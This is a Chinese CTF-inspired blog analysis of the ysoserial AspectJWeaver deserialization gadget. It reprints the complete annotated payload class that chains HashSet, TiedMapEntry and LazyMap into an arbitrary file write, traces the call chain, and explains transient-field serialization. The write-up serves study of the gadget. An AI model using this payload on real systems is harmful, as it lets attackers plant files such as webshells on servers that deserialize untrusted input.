AntCTFxD^3CTF 中学到了很多,参照大佬的文章也跟着分析一下ysoserial中的AspectJWeaver 。在分析中发现了很多有趣的事。来分享。
ysoserial中的AspectJWeaver : 此gadget用于写文件
Java的File类相关知识
File.separator
表示目录分隔符/
或者\
,根据系统判断
HashSet
HashSet 实现原理简述 : HashMap是HashSet的核心,而Map添加元素需要调用put(key,value)则必须有键和值。但HashSet相当于只有键,故实现HashSet时官方使用了固定值来做value,即PRESENT。而PRESENT则是用来造一个假的value来用的。
HashSet中PRESENT和HashMap
分析 : 由下图可见HashMap成员变量使用了private修饰 ,PRESENT的注释翻译为"与后备映射中的对象相关联的虚拟值" ,
其实这里有一个疑点,为什么HashMap被transient修饰,仍会序列化呢 ? 这个问题分析在最下方给出 ~
add方法源代码
分析 : HashSet添加元素调用了HashMap的put方法,PRESENT为固定值
分析的时候加了一些注释,助于理解
package ysoserial.payloads; import org.apache.commons.codec.binary.Base64; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /* Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write() Usage: args = "<filename>;<base64 content>" Example: java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" More information: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 */ @PayloadTest(skip="non RCE") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({ Authors.JANG }) public class AspectJWeaver implements ObjectPayload<Serializable> { @Override public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); } //将文件名和内容分割 String[] parts = command.split(";"); //文件名在0元素 String filename = parts[0]; //base64编码保证文件数据不损失 byte[] content = Base64.decodeBase64(parts[1]); //获取SimpleCache的内部类StoreableCachingMap的构造器 Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); /** * 生成StoreableCachingMap实例,newInstance(".", 12); * 第一个参数固定为 . 目的是保证文件写到当前目录 */ Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); //将文件内容映射到MapEntry里,用于调用getValue,getKey取值 TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); //参数设置为1,此参数会影响后面的构造 HashSet map = new HashSet(1); //添加一元素,在HashMap角度是添加一个键值对,也是创建第一个键值对,保证反射改值不会空指针 map.add("foo"); //private修饰,故通过反射获取HashSet的核心成员——hashMap Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } //赋予权限 Reflections.setAccessible(f); //获取实例对象"map"的HashMap HashMap innimpl = (HashMap) f.get(map); //同理,此处获取HashMap的成员变量table Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } //授予权限 Reflections.setAccessible(f2); //强转获得相应的java.util.HashMap$Node Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } //System.out.println(node.getClass()); //反射获取key属性 Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } //授予权限 Reflections.setAccessible(keyField); //最后一步,完成强行更改键值对的操作,成功生成恶意实例 keyField.set(node, entry); //返回HashSet实例 return map; } public static void main(String[] args) throws Exception { //新建h3zh1.txt内容为hello hack args = new String[]{"h3zh1.txt;aGVsbG8gaGFjawo="}; PayloadRunner.run(AspectJWeaver.class, args); } }
会发现这里用了大量的反射操作,原因如下 :
在SimpleCache内部类StoreableCachingMap.put方法处打断点
完整调用顺序如下截图:
HashSet关键部分调用链
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
payload中Object simpleCache = ctor.newInstance(".", 12);
一句的参数为什么这样设置 ?
在SimpleCache$StorableCachingMap.writeToPath()调用中,完成了文件的读写操作,源码如下:
private String writeToPath(String key, byte[] bytes) throws IOException { String fullPath = this.folder + File.separator + key; FileOutputStream fos = new FileOutputStream(fullPath); fos.write(bytes); fos.flush(); fos.close(); return fullPath; }
此处为fullPath的赋值操作
String fullPath = this.folder + File.separator + key;
this.folder的值是什么?
此值和yso的payload中如下代码相关 :
Object simpleCache = ctor.newInstance(".", 12);
.
表示当前目录,在调用newInstance后会触发构造函数,如下图 ,即this.folder会被设置为.
File.separator
基础部分已经叙述过了,为目录分隔符
key
是要生成的文件名
综上三点所述: fullPath的值会被设置为"./h3zh1.txt",所以文件会被生成到项目目录
来解答问题,问题描述
为什么HashSet源码实现中HashMap成员被transient修饰,仍会触发序列化和反序列化 ?
刚开始我没有意识到HashMap序列化使用了transient来修饰。因为一般情况下被transient修饰的成员是不可以序列化的。但是如果重写readObject方法和writeOject方法,也可以完成序列化。
给出一个transient修饰可以反序列化的示例:
假如有个Exp类"行不更名坐不改姓",但是重写了readObject方法和writeOject方法
import java.io.*; public class Exp implements Serializable{ //正常不可序列化,反序列化 private transient String name; private int age ; public Exp(int age , String name){ this.age = age; this.name = name; } //重写——强行序列化 private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{ s.defaultWriteObject(); //不想强制序列化name可注释下一行 s.writeObject(this.name); } //重写——强行反序列化 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); //不想强制反序列化name可注释下一行 this.name = (String) s.readObject(); } @Override public String toString() { return "Exp{" + "name='" + name + '\'' + ", age=" + age + '}'; } //序列化函数 public static void serialize(Object obj) throws IOException { FileOutputStream fileInputStream = new FileOutputStream("hello.class"); ObjectOutputStream oos = new ObjectOutputStream(fileInputStream); oos.writeObject(obj); oos.close(); } //反序列化 public static Object unserialize() throws Exception{ FileInputStream fileInputStream = new FileInputStream("hello.class"); ObjectInputStream ois = new ObjectInputStream(fileInputStream); return ois.readObject(); } public static void main(String[] args) throws Exception { Exp exp = new Exp(18,"katherine"); System.out.println("初始:"+exp); serialize(exp); Exp newExp = (Exp)unserialize(); System.out.println("序列化后:"+newExp); } }
那么推理到HashSet类
来HashSet的readObject重写部分甚至给了注释"Read in all elements" :
同样去找一下HashSet的writeObject方法 :
原来,你们早就在这里了……
文章参考 :
WebLogic 12.2.1.3.0 Shelldrop小工具 : https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
Servlet时间竞争以及AsjpectJWeaver反序列化Gadget构造 : https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ